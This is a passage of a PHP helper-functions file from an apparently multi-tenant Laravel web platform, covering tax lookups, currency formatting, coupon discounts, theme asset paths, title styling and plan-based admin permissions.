    '; } function get_product_shipping_tax_data($billing_info) { $data['shipping_cost'] = 0; $data['product_tax'] = 0; if ($billing_info) { if ($billing_info->state_id) { $data['product_tax'] = \Modules\TaxModule\Entities\StateTax::where(['country_id' => $billing_info->country_id, 'state_id' => $billing_info->state_id])->select('id', 'tax_percentage')->first()['tax_percentage']; } else { $data['product_tax'] = \Modules\TaxModule\Entities\CountryTax::where('country_id', $billing_info->country_id)->select('id', 'tax_percentage')->first()->toArray()['tax_percentage']; } } return $data; } function tenant_module_migrations_file_path($moduleName) { return str_replace('database', '', database_path()) . 'Modules/' . $moduleName . '/Database/Migrations'; } function get_tenant_storage_info($format = 'kb') { $file_size = 0; $tenant = tenant() ? tenant()->id : ''; $scan_path = Storage::disk("root_url")->allFiles('assets/tenant/uploads/media-uploader/' . $tenant); foreach ($scan_path as $file) { clearstatcache(); $exploded = explode('/', $file); if ($exploded[count($exploded) - 1] === '.DS_Store' || $file === 'NAN') { continue; } $file_size += filesize($file); } if (strtolower($format) == 'kb') { $file_size /= 1024; } elseif (strtolower($format) == 'mb') { $file_size = (($file_size / 1024)) / 1024; } return $file_size; } function get_slider_language_deriection() { return get_user_lang_direction() == 1 ? 'true' : 'false'; } function get_consultancy_subtitle_line_breaker($subtitle) { $main_subtitle = $subtitle ?? ''; $explode = explode(' ', $main_subtitle) ?? []; $first_three_words = count($explode) > 3 ? array_slice($explode, 0, 4) : current($explode); $last_words = count($explode) > 3 ? array_diff($explode, $first_three_words) : end($explode); $final_first = !empty($first_three_words) ? is_string($first_three_words) ? $first_three_words : implode(' ', $first_three_words) : ''; $final_last = !empty($last_words) ? is_string($last_words) ? $last_words : implode(' ', $last_words) : ''; return '

    ' . $final_first . ' ' . $final_last . '

    '; } function float_amount_with_currency_symbol($amount, $text = false): string { $symbol = site_currency_symbol($text); $position = get_static_option('site_currency_symbol_position'); if (empty($amount)) { $return_val = $symbol . $amount; if ($position == 'right') { $return_val = $amount . $symbol; } } $amount = number_format((float)$amount, 2, '.', ''); $return_val = $symbol . $amount; if ($position == 'right') { $return_val = $amount . $symbol; } return $return_val; } function get_tenant_package_features(): array { $package = tenant()->user()->first()?->payment_log()->first()?->package()->first() ?? []; $all_features = $package->plan_features ?? []; $check_feature_name = $all_features->pluck('feature_name')->toArray(); return $check_feature_name; } function get_amount_after_landlord_coupon_apply($package_price, $coupon_code) { $amount = 0; $coupon = Coupon::where('code', $coupon_code)->first(); if (!empty($coupon)) { if ($coupon->discount_type == 'percentage') { $amount = $package_price - ($coupon->discount_amount / 100) * $package_price; } else { $amount = $package_price - $coupon->discount_amount; } } return $amount; } function get_amount_after_landlord_coupon_apply_discount($package_price, $coupon_code) { $amount = 0; $coupon = Coupon::where('code', $coupon_code)->first(); if (!empty($coupon)) { if ($coupon->discount_type == 'percentage') { $amount = ($coupon->discount_amount / 100) * $package_price; } else { $amount = $coupon->discount_amount; } } return $amount; } function get_modified_title_photography($title) { $arrow_image_path = global_asset('assets/tenant/frontend/themes/img/photography/photography_section_titleShape.svg'); if (!empty($title)) { $main_title = $title; $explode = explode(' ', $main_title) ?? []; $last_word = array_slice($explode, -1) ?? []; $first_words = array_diff($explode, $last_word) ?? []; $final_first = !empty($first_words) ? implode(' ', $first_words) : ' '; $final_last = !empty($last_word) ? implode(' ', $last_word) : ''; return '

    ' . $final_first . ' ' . $final_last . '

    '; } } function get_modified_title_portfolio($title) { if (str_contains($title, '{h}') && str_contains($title, '{/h}')) { $text = explode('{h}', $title); $highlighted_word = explode('{/h}', $text[1])[0]; $highlighted_text = '' . $highlighted_word . ''; return $final_title = '

    ' . str_replace('{h}' . $highlighted_word . '{/h}', $highlighted_text, $title) . '

    '; } else { return $final_title = '

    ' . $title . '

    '; } } function get_modified_title_barber($title) { if (str_contains($title, '{h}') && str_contains($title, '{/h}')) { $text = explode('{h}', $title); $highlighted_word = explode('{/h}', $text[1])[0]; $highlighted_text = '' . $highlighted_word . ''; return $final_title = '

    ' . str_replace('{h}' . $highlighted_word . '{/h}', $highlighted_text, $title) . '

    '; } else { return $final_title = '

    ' . $title . '

    '; } } function get_modified_title_barber_two($title) { if (str_contains($title, '{h}') && str_contains($title, '{/h}')) { $text = explode('{h}', $title); $highlighted_word = explode('{/h}', $text[1])[0]; $highlighted_text = '' . $highlighted_word . ''; return $final_title = '

    ' . str_replace('{h}' . $highlighted_word . '{/h}', $highlighted_text, $title) . '

    '; } else { return $final_title = '

    ' . $title . '

    '; } } function get_modified_title_barber_three($title) { if (str_contains($title, '{h}') && str_contains($title, '{/h}')) { $text = explode('{h}', $title); $highlighted_word = explode('{/h}', $text[1])[0]; $highlighted_text = '' . $highlighted_word . ''; return $final_title = '

    ' . str_replace('{h}' . $highlighted_word . '{/h}', $highlighted_text, $title) . '

    '; } else { return $final_title = '

    ' . $title . '

    '; } } function theme_path($name) { $theme = resource_path('views/themes/' . $name); return !empty($theme) ? $theme : ''; } function theme_assets($file, $theme = ''): string { $name = \App\Facades\ThemeDataFacade::getSelectedThemeSlug(); return 'core/resources/views/themes/' . (empty($theme) ? $name : $theme) . '/assets/' . $file; } function theme_screenshots($name): string { return 'core/resources/views/themes/' . $name . '/screenshot/'; } function loadCss($file): string { return route('tenant.custom.css.file.url', $file); } function loadJs($file): string { return route('tenant.custom.js.file.url', $file); } function loadScreenshot($theme) { return route('theme.primary.screenshot', $theme); } /** * @param string $view * @param array $data * @return mixed * @see themeView */ function themeView($view, $data = []) { return \App\Facades\ThemeDataFacade::renderThemeView($view, $data); } function externalAddonImagepath($moduleName) { return 'core/Modules/' . $moduleName . '/assets/addon-image/'; // 'assets/plugins/PageBuilder/images' } function getSelectedThemeSlug() { return \App\Facades\ThemeDataFacade::getSelectedThemeSlug(); } function getSelectedThemeData() { return \App\Facades\ThemeDataFacade::getSelectedThemeData(); } function getAllThemeDataForAdmin() { return \App\Facades\ThemeDataFacade::getAllThemeDataForAdmin(); } function getAllThemeData() { return \App\Facades\ThemeDataFacade::getAllThemeData(); } function getIndividualThemeDetails($theme_slug) { return \App\Facades\ThemeDataFacade::getIndividualThemeDetails($theme_slug); } function renderPrimaryThemeScreenshot($theme_slug) { return \App\Facades\ThemeDataFacade::renderPrimaryThemeScreenshot($theme_slug); } function renderFooterHookBladeFile() { return \App\Facades\ThemeDataFacade::renderFooterHookBladeFile(); } function theme_custom_name($theme_data) { return !empty(get_static_option_central($theme_data->slug . '_theme_name')) ? get_static_option_central($theme_data->slug . '_theme_name') : $theme_data->name; } function get_data_without_extra_space_or_new_line($string) { return trim(preg_replace('/\s\s+/', ' ', $string)); } function replace_rgb_from_css_variable($key) { return str_replace(['rgb(', ')'], '', $key); } function get_landlord_modified_title($title) { $condition_of_extra = get_static_option('section_title_extra_design_status'); $title_class_condition = !empty($condition_of_extra) ? 'tittle' : 'title'; if (str_contains($title, '{h}') && str_contains($title, '{/h}')) { $text = explode('{h}', $title); $highlighted_word = explode('{/h}', $text[1])[0]; $highlighted_text = '' . $highlighted_word . ''; $final_title = '

    ' . str_replace('{h}' . $highlighted_word . '{/h}', $highlighted_text, $title) . '

    '; } else { $final_title = '

    ' . $title . '

    '; } return $final_title; } function get_date_by_format($date = null) { $formated_date = $date; $admin_set_style = get_static_option('date_display_style'); if ($admin_set_style == 'style_one') { $formated_date = date('d-m-Y', strtotime($date)); } else if ($admin_set_style == 'style_two') { $formated_date = date('d M, Y', strtotime($date)); } else if ($admin_set_style == 'style_three') { $formated_date = date('Y/m/d', strtotime($date)); } else if ($admin_set_style == 'style_four') { $formated_date = date('Y-m-d', strtotime($date)); } return $formated_date; } function toFixed($number, $decimals = 2): string { return number_format($number, $decimals, '.', ""); } function get_page_builder_addon_preview_image(string $dir_name, string $image_name) { return url('assets/plugins/PageBuilder/images/Tenant/' . $dir_name . '/' . $image_name); } function replace_instruction_url($data) { $redirect_path = '#!'; if (!empty($data)) { $check_for_other = str_contains($data, '@url'); if ($check_for_other == true) { $redirect_path = str_replace(['@url', '@url/'], [ url('/'), url('/') . '/', ], $data); // $redirect_path = url('/') . '/' . $redirect_path; } else if ($data == '@color_settings') { $redirect_path = 'admin-home/general-settings/color-settings'; } else if ($data == '@logo_settings') { $redirect_path = 'admin-home/general-settings/site-identity'; } else if ($data == '@basic_settings') { $redirect_path = 'admin-home/general-settings/basic-settings'; } else if ($data == '@email_settings') { $redirect_path = 'admin-home/general-settings/email-settings'; } else if ($data == '@edit_forms') { $redirect_path = 'admin-home/custom-form-builder/all'; } else if ($data == '@edit_pages') { $redirect_path = 'admin-home/pages'; } else if ($data == '@customize_menu') { $redirect_path = 'admin-home/menu/menu-edit/1'; } else if ($data == '@customize_footer') { $redirect_path = 'admin-home/tenant/widgets'; } else if ($data == '@connect_domain') { $redirect_path = 'admin-home/custom-domain/custom-domain-request'; } else if ($data == '@edit_seo') { $redirect_path = 'admin-home/general-settings/seo-settings'; } else if ($data == '@edit_profile') { $redirect_path = 'admin-home/edit-profile'; } else if ($data == '@set_language') { $redirect_path = 'admin-home/languages'; } else if ($data == '@page_settings') { $redirect_path = 'admin-home/general-settings/page-settings'; } } return $redirect_path; } function get_appointment_tax_amount($appointment_id, $subtotal) { $tax_amount = 0; if (!empty($appointment_id)) { $tax_info = AppointmentTax::where('appointment_id', $appointment_id)->first(); if (!empty($tax_info)) { $tax_amount = $tax_info->tax_type == 'exclusive' ? $subtotal * $tax_info->tax_amount / 100 : 0; } } return $tax_amount; } function get_appointment_tax_amount_percentage($appointment_id) { $percentage = 0; if (!empty($appointment_id)) { $percentage = AppointmentTax::where('appointment_id', $appointment_id)->first(); $percentage = !empty($percentage->tax_amount) ? '(' . $percentage->tax_amount . '%)' . '' : ''; } return $percentage; } function SMTP_test() { try { $transport = \Illuminate\Support\Facades\Mail::newInstance('smtp.exemple.com', '465', 'ssl'); $transport->setUsername('username@exemple.com'); $transport->setPassword('supersecret'); $mailer = \Swift_Mailer::newInstance($transport); $mailer->getTransport()->start(); return 'ok'; } catch (Swift_TransportException $e) { return $e->getMessage(); } catch (Exception $e) { return $e->getMessage(); } } function tenant_plan_sidebar_permission($permission_name, $tenant = null) // Plan based admin sidebar permission { $inventory = false; $tenant = !empty($tenant) ? $tenant : tenant(); $current_tenant_payment_data = $tenant->payment_log ?? []; if (!empty($current_tenant_payment_data)) { $package = $current_tenant_payment_data->package; if (!empty($package)) { $features = $package->plan_features->pluck('feature_name')->toArray(); if (in_array($permission_name, (array)$features)) { $inventory = true; } } } return $inventory; }